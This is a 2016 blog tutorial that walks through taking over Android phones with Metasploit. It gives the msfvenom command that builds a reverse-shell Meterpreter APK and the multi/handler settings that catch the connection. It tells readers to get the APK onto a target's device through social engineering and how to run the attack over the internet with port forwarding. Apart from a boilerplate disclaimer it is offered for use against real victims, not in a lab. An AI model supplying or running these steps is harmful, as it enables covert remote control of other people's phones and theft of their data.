Monday, 22 August 2016

How to Hack Android Devices Using Metasploit

In this tutorial, I'll be teaching you how to hack Android devices such as phones and tablets using Metasploit.
I'm going to be using Sana (Kali 2.0) for this tutorial, but you're welcome to use any distro you want as long as it can run Metasploit.
This is very easy to do - simply follow the below steps and you should be good to go.

Part 1: Generating The Payload
To generate the payload, open up a terminal and type in the following commands:
msfvenom -p android/meterpreter/reverse_tcp LHOST= LPORT=444 R > randomfile.apk
[Image: Screenshot_from_2016_08_18_10_15_19.png] Here, android/meterpreter/reverse_tcp is the name of the payload we're going to be using.
LHOST is the IP address to which the client is going to connect (your IP address).
To find it, open up a new terminal and type in ifconfig.
Your IP address will be where I've highlighted the text:
[Image: Screenshot_from_2016_08_18_10_16_18.png]

LPORT can be essentially any valid port number on your machine, you just need to make sure that it's not currently in use.

Replace RandomFile.apk with your file name.

...Hit ENTER and your payload should be generated successfully.
The apk file that was generated is the one you want the target device to run. This may require some social engineering skills, I'll just leave that to you.

Part 2: The Exploit
Once the payload has been successfully transfered to the target device, we need to start listening on the specified address and port to exploit the device.
For this, let's open up the Metasploit console.

Enter the following commands:
service postgresql start
That's going to open up the Metasploit console.
Now we want to use a payload handler for handling our reverse TCP connection.
For this, type the following in the Metasploit terminal:
use multi/handler

[Image: Screenshot_from_2016_08_18_10_17_25.png]

You should now have a prompt which says exploit(handler). Awesome, now let's set the options.
To do that, enter the following commands:
set PAYLOAD android/meterpreter/reverse_tcp
set LHOST Your_IP
set LPORT Port_Number

Replace the required info with yours in the above commands.

Now type the following command and verify all the options:
show options
This is what my configuration looks like:

[Image: Screenshot_from_2016_08_18_10_18_16.png]If you're certain all the options are valid, enter the following command to start the handler (listening):

[Image: Screenshot_from_2016_08_18_10_19_47.png]

As soon as the device executes the payload (opens the app), your Meterpreter terminal should say "Meterpreter session one opened" or something of that sort.
This means you have successfully gained access to the device.

To view the list of available commands, just put a question mark (?) and hit ENTER.

[Image: Screenshot_from_2016_08_18_10_24_52.png]

To use a command, simply type the name of the command and hit ENTER. If it requires any parameters, it will mention that.

Over The Internet
In the above case, everything was attempted on a local network.
In case you wish to do this over the internet, follow the same steps. Instead of using ifconfig, use the following command:
dig TXT +short

You would also need to enable port forwarding on your router for it to work over the internet.

That's pretty much it. If you have any questions or if I've made any mistakes, just let me know.

- Arcanecfg.


All the posts found in this blog are meant either for educational purposes or are the personal opinions of myself (Arcanecfg). I do not condone any illegal activities whatsoever. I cannot be held responsible for any actions the readers of this blog may perform with the knowledge attained from here (Wasted Wolf). These Terms and Conditions of Use apply to you when you view, access or otherwise use the blog located at

Theme designed by mono-lab / Edited by Arcanecfg. Protection Status
/ Wasted Wolf /